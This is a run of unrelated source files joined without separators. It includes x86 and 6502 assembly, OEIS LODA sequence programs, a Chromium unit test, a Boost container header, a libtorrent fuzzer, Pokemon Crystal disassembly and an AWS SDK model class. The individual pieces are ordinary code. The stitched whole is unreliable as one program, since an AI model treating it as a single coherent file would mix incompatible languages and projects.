PUBLIC UDec PUBLIC SDec DSEG SEGMENT PARA PUBLIC 'DATA' NEWLINE DB 10, 13, '$' DSEG ENDS CSEG SEGMENT PARA PUBLIC 'CODE' ASSUME CS:CSEG UDec PROC NEAR PUSH BP MOV BP, SP MOV AX, [BP + 6] ; AX = X UD_1: XOR CX, CX ; clean CX MOV BX, 10 ; BASIS OF THE SYSTEM OF CALCULATION UD_2: XOR DX, DX ; clean DX DIV BX ; divisible AX, divider BX, private AX, balance DX (AX = BX * AX + DX) ADD DX, '0' ; DX = 30 PUSH DX INC CX ; get length CMP AX, 0 ; AH = AL = 0 - all the number passed by JNE UD_2 ; ZF=0 (so if AX != 0) MOV AH, 2 ; print DL UD_3: POP DX ; CX = length of the number INT 21H LOOP UD_3 MOV AH, 9 MOV DX, OFFSET NEWLINE INT 21H POP BP RET 4 ; delete x, si UDec ENDP SDec PROC NEAR PUSH BP MOV BP, SP MOV CX, [BP + 4] ; X ? MOV BX, [BP + 6] ; SI ? CMP CL, 0 JE SD_SKIP_NEG MOV AH, 2 MOV DL, '-' INT 21H NEG BX SD_SKIP_NEG: PUSH BX PUSH CX CALL UDec POP BP RET 4 ; delete x, si SDec ENDP CSEG ENDS END
; A001449: Binomial coefficients binomial(5n,n). ; 1,5,45,455,4845,53130,593775,6724520,76904685,886163135,10272278170,119653565850,1399358844975,16421073515280,193253756909160,2280012686716080,26958221130508525,319357027877093325,3789648142708598775,45038039715653129145,535983370403809682970,6386415635496918121100,76181194590211942317450,909662608252504075120200,10872202353646160680764975,130054841538480192455912505,1556963261900116381433984400,18652941926022193416066347600,223619936628369661374603063400,2682547288861359139887179541600 mov $1,5 mul $1,$0 bin $1,$0 mov $0,$1
#include "farm_ng/calibration/apriltag.h" #include "gtest/gtest.h" TEST(apriltag, smoke) {}
; A024633: n written in fractional base 5/3. ; Submitted by Jamie Morken(s4) ; 0,1,2,3,4,30,31,32,33,34,310,311,312,313,314,340,341,342,343,344,3120,3121,3122,3123,3124,3400,3401,3402,3403,3404,3430,3431,3432,3433,3434,31210,31211,31212,31213,31214,31240,31241,31242,31243,31244,34020,34021 mov $3,1 lpb $0 mov $2,$0 div $0,5 mul $0,3 mod $2,5 mul $2,$3 add $1,$2 mul $3,10 lpe mov $0,$1
; A252669: a(n) is the smallest integer k such that n*k mod (n+k) = 1, or -1 if no such k exists. ; Submitted by Christian Krause ; 1,3,2,13,8,31,3,5,32,91,50,17,4,183,98,241,12,7,162,381,5,75,30,553,288,651,46,129,392,23,6,9,76,55,578,1261,100,47,722,1561,17,311,7,105,968,27,18,413,1152,11,1250,489,228,2863,34,3081,8,615,1682,217,1800,707 add $0,1 mov $2,$0 seq $0,259036 ; Smallest divisor of n^2+1 >= sqrt(n^2+1). sub $0,$2
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/media_galleries/fileapi/itunes_file_util.h" #include <set> #include <string> #include <utility> #include <vector> #include "base/bind.h" #include "base/bind_helpers.h" #include "base/files/file_util.h" #include "base/files/scoped_temp_dir.h" #include "base/macros.h" #include "base/run_loop.h" #include "base/single_thread_task_runner.h" #include "base/synchronization/waitable_event.h" #include "base/threading/thread_task_runner_handle.h" #include "base/time/time.h" #include "chrome/browser/media_galleries/fileapi/itunes_data_provider.h" #include "chrome/browser/media_galleries/fileapi/media_file_system_backend.h" #include "chrome/browser/media_galleries/fileapi/media_path_filter.h" #include "chrome/browser/media_galleries/imported_media_gallery_registry.h" #include "content/public/browser/browser_thread.h" #include "content/public/test/mock_special_storage_policy.h" #include "content/public/test/test_browser_thread.h" #include "content/public/test/test_file_system_options.h" #include "storage/browser/fileapi/async_file_util.h" #include "storage/browser/fileapi/external_mount_points.h" #include "storage/browser/fileapi/file_system_context.h" #include "storage/browser/fileapi/file_system_operation_context.h" #include "storage/browser/fileapi/file_system_operation_runner.h" #include "testing/gtest/include/gtest/gtest.h" using storage::FileSystemOperationContext; using storage::FileSystemOperation; using storage::FileSystemURL; namespace itunes { namespace { void ReadDirectoryTestHelperCallback( base::RunLoop* run_loop, FileSystemOperation::FileEntryList* contents, bool* completed, base::File::Error error, const FileSystemOperation::FileEntryList& file_list, bool has_more) { DCHECK(!*completed); *completed = (!has_more && error == base::File::FILE_OK); *contents = file_list; run_loop->Quit(); } void ReadDirectoryTestHelper(storage::FileSystemOperationRunner* runner, const FileSystemURL& url, FileSystemOperation::FileEntryList* contents, bool* completed) { DCHECK(contents); DCHECK(completed); base::RunLoop run_loop; runner->ReadDirectory( url, base::Bind(&ReadDirectoryTestHelperCallback, &run_loop, contents, completed)); run_loop.Run(); } } // namespace class TestITunesDataProvider : public ITunesDataProvider { public: explicit TestITunesDataProvider(const base::FilePath& fake_library_path) : ITunesDataProvider(fake_library_path) { EXPECT_TRUE(fake_auto_add_dir_.CreateUniqueTempDir()); } ~TestITunesDataProvider() override {} void RefreshData(const ReadyCallback& ready_callback) override { ready_callback.Run(true /* success */); } const base::FilePath& auto_add_path() const override { return fake_auto_add_dir_path_; } void SetProvideAutoAddDir(bool provide_auto_add_dir) { if (provide_auto_add_dir) { if (!fake_auto_add_dir_.IsValid()) ASSERT_TRUE(fake_auto_add_dir_.CreateUniqueTempDir()); fake_auto_add_dir_path_ = fake_auto_add_dir_.GetPath(); } else { ASSERT_TRUE(fake_auto_add_dir_.Delete()); fake_auto_add_dir_path_.clear(); } } private: base::FilePath fake_auto_add_dir_path_; base::ScopedTempDir fake_auto_add_dir_; }; class TestITunesFileUtil : public ITunesFileUtil { public: explicit TestITunesFileUtil(MediaPathFilter* media_path_filter, ITunesDataProvider* data_provider) : ITunesFileUtil(media_path_filter), data_provider_(data_provider) { } ~TestITunesFileUtil() override {} private: ITunesDataProvider* GetDataProvider() override { return data_provider_; } ITunesDataProvider* data_provider_; }; class TestMediaFileSystemBackend : public MediaFileSystemBackend { public: TestMediaFileSystemBackend(const base::FilePath& profile_path, ITunesFileUtil* itunes_file_util) : MediaFileSystemBackend( profile_path, MediaFileSystemBackend::MediaTaskRunner().get()), test_file_util_(itunes_file_util) {} storage::AsyncFileUtil* GetAsyncFileUtil( storage::FileSystemType type) override { if (type != storage::kFileSystemTypeItunes) return NULL; return test_file_util_.get(); } private: std::unique_ptr<storage::AsyncFileUtil> test_file_util_; }; class ItunesFileUtilTest : public testing::Test { public: ItunesFileUtilTest() : io_thread_(content::BrowserThread::IO, &message_loop_) { } void SetUpDataProvider() { ASSERT_TRUE(fake_library_dir_.CreateUniqueTempDir()); ASSERT_EQ(0, base::WriteFile( fake_library_dir_.GetPath().AppendASCII(kITunesLibraryXML), NULL, 0)); itunes_data_provider_.reset( new TestITunesDataProvider(fake_library_dir_.GetPath())); } void SetUp() override { ASSERT_TRUE(profile_dir_.CreateUniqueTempDir()); ImportedMediaGalleryRegistry::GetInstance()->Initialize(); scoped_refptr<storage::SpecialStoragePolicy> storage_policy = new content::MockSpecialStoragePolicy(); // Initialize fake ItunesDataProvider on media task runner thread. MediaFileSystemBackend::MediaTaskRunner()->PostTask( FROM_HERE, base::Bind(&ItunesFileUtilTest::SetUpDataProvider, base::Unretained(this))); base::WaitableEvent event(base::WaitableEvent::ResetPolicy::MANUAL, base::WaitableEvent::InitialState::NOT_SIGNALED); MediaFileSystemBackend::MediaTaskRunner()->PostTask( FROM_HERE, base::Bind(&base::WaitableEvent::Signal, base::Unretained(&event))); event.Wait(); media_path_filter_.reset(new MediaPathFilter()); ScopedVector<storage::FileSystemBackend> additional_providers; additional_providers.push_back(new TestMediaFileSystemBackend( profile_dir_.GetPath(), new TestITunesFileUtil(media_path_filter_.get(), itunes_data_provider_.get()))); file_system_context_ = new storage::FileSystemContext( base::ThreadTaskRunnerHandle::Get().get(), base::ThreadTaskRunnerHandle::Get().get(), storage::ExternalMountPoints::CreateRefCounted().get(), storage_policy.get(), NULL, std::move(additional_providers), std::vector<storage::URLRequestAutoMountHandler>(), profile_dir_.GetPath(), content::CreateAllowFileAccessOptions()); } void TearDown() override { MediaFileSystemBackend::MediaTaskRunner()->DeleteSoon( FROM_HERE, itunes_data_provider_.release()); } protected: void TestNonexistentFolder(const std::string& path_append) { FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL(path_append); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_FALSE(completed); } FileSystemURL CreateURL(const std::string& path) const { base::FilePath virtual_path = ImportedMediaGalleryRegistry::GetInstance()->ImportedRoot(); virtual_path = virtual_path.AppendASCII("itunes"); virtual_path = virtual_path.AppendASCII(path); return file_system_context_->CreateCrackedFileSystemURL( GURL("http://www.example.com"), storage::kFileSystemTypeItunes, virtual_path); } storage::FileSystemOperationRunner* operation_runner() const { return file_system_context_->operation_runner(); } scoped_refptr<storage::FileSystemContext> file_system_context() const { return file_system_context_; } TestITunesDataProvider* data_provider() const { return itunes_data_provider_.get(); } private: base::MessageLoop message_loop_; content::TestBrowserThread io_thread_; base::ScopedTempDir profile_dir_; base::ScopedTempDir fake_library_dir_; scoped_refptr<storage::FileSystemContext> file_system_context_; std::unique_ptr<MediaPathFilter> media_path_filter_; std::unique_ptr<TestITunesDataProvider> itunes_data_provider_; DISALLOW_COPY_AND_ASSIGN(ItunesFileUtilTest); }; TEST_F(ItunesFileUtilTest, RootContents) { FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL(""); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(2u, contents.size()); EXPECT_FALSE(contents.front().is_directory); EXPECT_TRUE(contents.back().is_directory); EXPECT_EQ(base::FilePath::FromUTF8Unsafe(kITunesLibraryXML).value(), contents.front().name); EXPECT_EQ(base::FilePath::FromUTF8Unsafe(kITunesMediaDir).value(), contents.back().name); } TEST_F(ItunesFileUtilTest, ItunesMediaDirectoryContentsNoAutoAdd) { data_provider()->SetProvideAutoAddDir(false); FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL(kITunesMediaDir); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(1u, contents.size()); EXPECT_TRUE(contents.front().is_directory); EXPECT_EQ(base::FilePath::FromUTF8Unsafe(kITunesMusicDir).value(), contents.back().name); } TEST_F(ItunesFileUtilTest, ItunesMediaDirectoryContentsAutoAdd) { data_provider()->SetProvideAutoAddDir(true); FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL(kITunesMediaDir); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(2u, contents.size()); EXPECT_TRUE(contents.front().is_directory); EXPECT_TRUE(contents.back().is_directory); EXPECT_EQ(base::FilePath::FromUTF8Unsafe(kITunesAutoAddDir).value(), contents.front().name); EXPECT_EQ(base::FilePath::FromUTF8Unsafe(kITunesMusicDir).value(), contents.back().name); } TEST_F(ItunesFileUtilTest, ItunesAutoAddDirEnumerate) { data_provider()->SetProvideAutoAddDir(true); ASSERT_EQ(0, base::WriteFile( data_provider()->auto_add_path().AppendASCII("baz.ogg"), NULL, 0)); FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL( std::string(kITunesMediaDir) + "/" + kITunesAutoAddDir); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(1u, contents.size()); EXPECT_FALSE(contents.front().is_directory); EXPECT_EQ(base::FilePath().AppendASCII("baz.ogg").value(), contents.front().name); } TEST_F(ItunesFileUtilTest, ItunesAutoAddDirEnumerateNested) { data_provider()->SetProvideAutoAddDir(true); base::FilePath nested_dir = data_provider()->auto_add_path().AppendASCII("foo").AppendASCII("bar"); ASSERT_TRUE(base::CreateDirectory(nested_dir)); ASSERT_EQ(0, base::WriteFile(nested_dir.AppendASCII("baz.ogg"), NULL, 0)); FileSystemOperation::FileEntryList contents; FileSystemURL url = CreateURL( std::string(kITunesMediaDir) + "/" + kITunesAutoAddDir); bool completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(1u, contents.size()); EXPECT_TRUE(contents.front().is_directory); EXPECT_EQ(base::FilePath().AppendASCII("foo").value(), contents.front().name); contents.clear(); url = CreateURL( std::string(kITunesMediaDir) + "/" + kITunesAutoAddDir + "/foo"); completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(1u, contents.size()); EXPECT_TRUE(contents.front().is_directory); EXPECT_EQ(base::FilePath().AppendASCII("bar").value(), contents.front().name); contents.clear(); url = CreateURL( std::string(kITunesMediaDir) + "/" + kITunesAutoAddDir + "/foo/bar"); completed = false; ReadDirectoryTestHelper(operation_runner(), url, &contents, &completed); ASSERT_TRUE(completed); ASSERT_EQ(1u, contents.size()); EXPECT_FALSE(contents.front().is_directory); EXPECT_EQ(base::FilePath().AppendASCII("baz.ogg").value(), contents.front().name); } } // namespace itunes
#pragma once /* Author: ywx217@gmail.com This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org> */ #if !defined(NDEBUG) #define BOOST_MULTI_INDEX_ENABLE_INVARIANT_CHECKING #define BOOST_MULTI_INDEX_ENABLE_SAFE_MODE #endif #include <set> #include <unordered_map> #include <boost/multi_index_container.hpp> #include <boost/multi_index/member.hpp> #include <boost/multi_index/ordered_index.hpp> #include <boost/multi_index/hashed_index.hpp> #include "Job.hpp" #include "JobContainer.hpp" namespace elapse { // set + map vs boost::mic // http://david-grs.github.io/why_boost_multi_index_container-part1/ /* tags for accessing the corresponding indices of JobSet */ struct id {}; struct expire {}; /* see Compiler specifics: Use of member_offset for info on * BOOST_MULTI_INDEX_MEMBER */ /* Define a multi_index_container of JobSet with following indices: * - a unique index sorted by Job::id_, * - a non-unique index sorted by Job::expired_, */ typedef boost::multi_index_container< Job, boost::multi_index::indexed_by< boost::multi_index::hashed_unique< boost::multi_index::tag<id>, BOOST_MULTI_INDEX_MEMBER(Job, JobId, id_)>, boost::multi_index::ordered_non_unique< boost::multi_index::tag<expire>, BOOST_MULTI_INDEX_MEMBER(Job, TimeUnit, expire_)> > > JobSet; // a job container based on boost::multi_index_container (RB-Tree & unordered map) class TreeJobContainer : public JobContainer { public: TreeJobContainer() : nextId_(1), destroyFlag_(nullptr) {} virtual ~TreeJobContainer(); virtual JobId Add(TimeUnit expireTime, ECPtr&& cb); virtual bool Remove(JobId handle); virtual void RemoveAll(); virtual size_t PopExpires(TimeUnit now); virtual void IterJobs(JobPredicate pred) const; virtual void RemoveJobs(JobPredicate pred); virtual size_t Size() const { return jobs_.size(); } protected: template <class Tag, class Key> inline JobSet::iterator Find(Key const& key) { return boost::multi_index::get<Tag>(jobs_).find(key); } protected: JobId nextId_; JobSet jobs_; bool *destroyFlag_; }; } // namespace elapse
extern w8 ppu_control_0 = $2000 extern w8 ppu_control_1 = $2001 extern w8 ppu_status = $2002 extern w8 vram_addr_0 = $2005 extern w8 vram_addr_1 = $2006 extern w8 vram_io = $2007 const w16 vram_palette = $3f00 const w16 vram_name_0 = $2000 const w16 vram_name_0_s = $2080 const w16 vram_attr_0 = $23c0 sub reset = $c000 cld sei +for bpl lda ppu_status ldx #$0 stx ppu_control_0 stx ppu_control_1 dex txs +tux_io vram_addr_1 #vram_palette ldx #$0 +for ldy #$10 bne dey +tua vram_io palette,X inx +tux_io vram_addr_1 #vram_attr_0 ldx #$0 +for ldy #$40 bne dey +tua vram_io attr_table,X inx +tux_io vram_addr_1 #vram_name_0_s sec ldx #$0 +for ldy #$20 bne dey lda text,X sbc #$20 sta vram_io inx lda #$0 sta vram_addr_0 sta vram_addr_0 +tua ppu_control_1 #$a +for jmp sub nmi_routine = $f000 rti sub irq_routine = $f001 rti sub palette = $f010 +raw8 #$0f #$30 #$30 #$30 +raw8 #$0f #$30 #$30 #$30 +raw8 #$0f #$30 #$30 #$30 +raw8 #$0f #$30 #$30 #$30 sub text = $f020 +raw8 "DON'T PUT LABELS ON US " sub attr_table = $f040 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 +raw8 #$00 #$00 #$00 #$00 #$00 #$00 #$00 #$00 sub interrupts = $fffa +raw16 #nmi_routine +raw16 #reset +raw16 #irq_routine
; A228406: Sequences from the quartic oscillator. ; 0,24,384,2064,7104,18984,43008,86688,160128,276408,451968,706992,1065792,1557192,2214912,3077952,4190976,5604696,7376256,9569616,12255936,15513960,19430400,24100320,29627520,36124920,43714944,52529904,62712384,74415624,87803904 mul $0,2 add $0,2 mov $2,6 lpb $0 add $1,$2 mov $3,$0 sub $0,2 bin $3,4 mov $2,$3 lpe sub $1,6 mul $1,24
SECTION code_clib PUBLIC col1 PUBLIC _col1 .col1 ._col1 jp 0xb818
/* Copyright (c) 2019, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "libtorrent/upnp.hpp" #include "libtorrent/xml_parse.hpp" extern "C" int LLVMFuzzerTestOneInput(uint8_t const* data, size_t size) { using namespace std::placeholders; lt::parse_state s; lt::xml_parse({reinterpret_cast<char const*>(data), size} , std::bind(&lt::find_control_url, _1, _2, std::ref(s))); return 0; }
CheckPartyFullAfterContest: ld a, [wContestMon] and a jp z, .DidntCatchAnything ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData ld hl, wPartyCount ld a, [hl] cp PARTY_LENGTH jp nc, .TryAddToBox inc a ld [hl], a ld c, a ld b, 0 add hl, bc ld a, [wContestMon] ld [hli], a ld [wCurSpecies], a ld a, -1 ld [hl], a ld hl, wPartyMon1Species ld a, [wPartyCount] dec a ld bc, PARTYMON_STRUCT_LENGTH call AddNTimes ld d, h ld e, l ld hl, wContestMon ld bc, PARTYMON_STRUCT_LENGTH call CopyBytes ld a, [wPartyCount] dec a ld hl, wPartyMonOT call SkipNames ld d, h ld e, l ld hl, wPlayerName call CopyBytes ld a, [wCurPartySpecies] ld [wNamedObjectIndexBuffer], a call GetPokemonName ld hl, wStringBuffer1 ld de, wMonOrItemNameBuffer ld bc, MON_NAME_LENGTH call CopyBytes call GiveANickname_YesNo jr c, .Party_SkipNickname ld a, [wPartyCount] dec a ld [wCurPartyMon], a xor a ld [wMonType], a ld de, wMonOrItemNameBuffer callfar InitNickname .Party_SkipNickname: ld a, [wPartyCount] dec a ld hl, wPartyMonNicknames call SkipNames ld d, h ld e, l ld hl, wMonOrItemNameBuffer call CopyBytes ld a, [wPartyCount] dec a ld hl, wPartyMon1Level call GetPartyLocation ld a, [hl] ld [wCurPartyLevel], a call SetCaughtData ld a, [wPartyCount] dec a ld hl, wPartyMon1CaughtLocation call GetPartyLocation ld a, [hl] and CAUGHT_GENDER_MASK ld b, ROUTE_101 or b ld [hl], a xor a ld [wContestMon], a and a ; BUGCONTEST_CAUGHT_MON ld [wScriptVar], a ret .TryAddToBox: ld a, BANK(sBoxCount) call GetSRAMBank ld hl, sBoxCount ld a, [hl] cp MONS_PER_BOX call CloseSRAM jr nc, .BoxFull xor a ld [wCurPartyMon], a ld hl, wContestMon ld de, wBufferMon ld bc, BOXMON_STRUCT_LENGTH call CopyBytes ld hl, wPlayerName ld de, wBufferMonOT ld bc, NAME_LENGTH call CopyBytes callfar InsertPokemonIntoBox ld a, [wCurPartySpecies] ld [wNamedObjectIndexBuffer], a call GetPokemonName call GiveANickname_YesNo ld hl, wStringBuffer1 jr c, .Box_SkipNickname ld a, BOXMON ld [wMonType], a ld de, wMonOrItemNameBuffer callfar InitNickname ld hl, wMonOrItemNameBuffer .Box_SkipNickname: ld a, BANK(sBoxMonNicknames) call GetSRAMBank ld de, sBoxMonNicknames ld bc, MON_NAME_LENGTH call CopyBytes call CloseSRAM .BoxFull: ld a, BANK(sBoxMon1Level) call GetSRAMBank ld a, [sBoxMon1Level] ld [wCurPartyLevel], a call CloseSRAM call SetBoxMonCaughtData ld a, BANK(sBoxMon1CaughtLocation) call GetSRAMBank ld hl, sBoxMon1CaughtLocation ld a, [hl] and CAUGHT_GENDER_MASK ld b, ROUTE_101 or b ld [hl], a call CloseSRAM xor a ld [wContestMon], a ld a, BUGCONTEST_BOXED_MON ld [wScriptVar], a ret .DidntCatchAnything: ld a, BUGCONTEST_NO_CATCH ld [wScriptVar], a ret GiveANickname_YesNo: ld hl, TextJump_GiveANickname call PrintText jp YesNoBox TextJump_GiveANickname: ; Give a nickname to the @ you received? text_far UnknownText_0x1c12fc text_end SetCaughtData: ld a, [wPartyCount] dec a ld hl, wPartyMon1CaughtLevel call GetPartyLocation SetBoxmonOrEggmonCaughtData: ld a, [wTimeOfDay] inc a rrca rrca ld b, a ld a, [wCurPartyLevel] or b ld [hli], a ld a, [wMapGroup] ld b, a ld a, [wMapNumber] ld c, a cp MAP_POKECENTER_2F jr nz, .NotPokecenter2F ld a, b cp GROUP_POKECENTER_2F jr nz, .NotPokecenter2F ld a, [wBackupMapGroup] ld b, a ld a, [wBackupMapNumber] ld c, a .NotPokecenter2F: call GetWorldMapLocation ld b, a ld a, [wPlayerGender] rrca ; shift bit 0 (PLAYERGENDER_FEMALE_F) to bit 7 (CAUGHT_GENDER_MASK) or b ld [hl], a ret SetBoxMonCaughtData: ld a, BANK(sBoxMon1CaughtLevel) call GetSRAMBank ld hl, sBoxMon1CaughtLevel call SetBoxmonOrEggmonCaughtData call CloseSRAM ret SetGiftBoxMonCaughtData: push bc ld a, BANK(sBoxMon1CaughtLevel) call GetSRAMBank ld hl, sBoxMon1CaughtLevel pop bc call SetGiftMonCaughtData call CloseSRAM ret SetGiftPartyMonCaughtData: ld a, [wPartyCount] dec a ld hl, wPartyMon1CaughtLevel push bc call GetPartyLocation pop bc SetGiftMonCaughtData: xor a ld [hli], a ld a, GIFT_LOCATION rrc b or b ld [hl], a ret SetEggMonCaughtData: ld a, [wCurPartyMon] ld hl, wPartyMon1CaughtLevel call GetPartyLocation ld a, [wCurPartyLevel] push af ld a, CAUGHT_EGG_LEVEL ld [wCurPartyLevel], a call SetBoxmonOrEggmonCaughtData pop af ld [wCurPartyLevel], a ret
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/dataexchange/model/ResponseDetails.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace DataExchange { namespace Model { ResponseDetails::ResponseDetails() : m_exportAssetToSignedUrlHasBeenSet(false), m_exportAssetsToS3HasBeenSet(false), m_exportRevisionsToS3HasBeenSet(false), m_importAssetFromSignedUrlHasBeenSet(false), m_importAssetsFromS3HasBeenSet(false), m_importAssetsFromRedshiftDataSharesHasBeenSet(false) { } ResponseDetails::ResponseDetails(JsonView jsonValue) : m_exportAssetToSignedUrlHasBeenSet(false), m_exportAssetsToS3HasBeenSet(false), m_exportRevisionsToS3HasBeenSet(false), m_importAssetFromSignedUrlHasBeenSet(false), m_importAssetsFromS3HasBeenSet(false), m_importAssetsFromRedshiftDataSharesHasBeenSet(false) { *this = jsonValue; } ResponseDetails& ResponseDetails::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("ExportAssetToSignedUrl")) { m_exportAssetToSignedUrl = jsonValue.GetObject("ExportAssetToSignedUrl"); m_exportAssetToSignedUrlHasBeenSet = true; } if(jsonValue.ValueExists("ExportAssetsToS3")) { m_exportAssetsToS3 = jsonValue.GetObject("ExportAssetsToS3"); m_exportAssetsToS3HasBeenSet = true; } if(jsonValue.ValueExists("ExportRevisionsToS3")) { m_exportRevisionsToS3 = jsonValue.GetObject("ExportRevisionsToS3"); m_exportRevisionsToS3HasBeenSet = true; } if(jsonValue.ValueExists("ImportAssetFromSignedUrl")) { m_importAssetFromSignedUrl = jsonValue.GetObject("ImportAssetFromSignedUrl"); m_importAssetFromSignedUrlHasBeenSet = true; } if(jsonValue.ValueExists("ImportAssetsFromS3")) { m_importAssetsFromS3 = jsonValue.GetObject("ImportAssetsFromS3"); m_importAssetsFromS3HasBeenSet = true; } if(jsonValue.ValueExists("ImportAssetsFromRedshiftDataShares")) { m_importAssetsFromRedshiftDataShares = jsonValue.GetObject("ImportAssetsFromRedshiftDataShares"); m_importAssetsFromRedshiftDataSharesHasBeenSet = true; } return *this; } JsonValue ResponseDetails::Jsonize() const { JsonValue payload; if(m_exportAssetToSignedUrlHasBeenSet) { payload.WithObject("ExportAssetToSignedUrl", m_exportAssetToSignedUrl.Jsonize()); } if(m_exportAssetsToS3HasBeenSet) { payload.WithObject("ExportAssetsToS3", m_exportAssetsToS3.Jsonize()); } if(m_exportRevisionsToS3HasBeenSet) { payload.WithObject("ExportRevisionsToS3", m_exportRevisionsToS3.Jsonize()); } if(m_importAssetFromSignedUrlHasBeenSet) { payload.WithObject("ImportAssetFromSignedUrl", m_importAssetFromSignedUrl.Jsonize()); } if(m_importAssetsFromS3HasBeenSet) { payload.WithObject("ImportAssetsFromS3", m_importAssetsFromS3.Jsonize()); } if(m_importAssetsFromRedshiftDataSharesHasBeenSet) { payload.WithObject("ImportAssetsFromRedshiftDataShares", m_importAssetsFromRedshiftDataShares.Jsonize()); } return payload; } } // namespace Model } // namespace DataExchange } // namespace Aws
.target "appleii" printc = $FDF0 .org $801 ; Prints all characters LDA #0 main_loop: ; X = A; X++; A = X TAX INX TXA ; Wait for a lil bit LDY #0 inner_loop: INY BNE -3 JSR printc JMP main_loop
; A329503: G.f. = (1+x)*(1+2*x+2*x^2)/(1-x). ; 1,4,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10 mul $0,4 trn $0,1 lpb $0 mov $0,9 lpe add $0,1
SECTION code_clib SECTION code_fp_math48 PUBLIC _asinh_fastcall EXTERN cm48_sdcciy_asinh_fastcall defc _asinh_fastcall = cm48_sdcciy_asinh_fastcall
; A015210: Sum of Gaussian binomial coefficients for q=19. ; Submitted by Stefano Spezia ; 1,2,22,764,152404,99869288,377566978168,4699193672889776,337505849373783995536,79809726992391397235470112,108909145140488785290568540059232,489318942025571053898957586140666992064,12686855492437023425546597742222336158113232704,1083016939940576819167574575972516404489844647237419648,533520126377533149771346177866915750851593390292491107095264128,865337776895681397996465856347179093637998038971947937076506806385718016 mov $1,$0 mov $0,0 add $1,1 mov $2,1 lpb $1 sub $1,1 mov $4,$2 mul $2,19 mul $4,$3 add $0,$4 sub $3,$4 add $3,$0 add $3,$2 lpe mov $0,$3 div $0,361 add $0,1
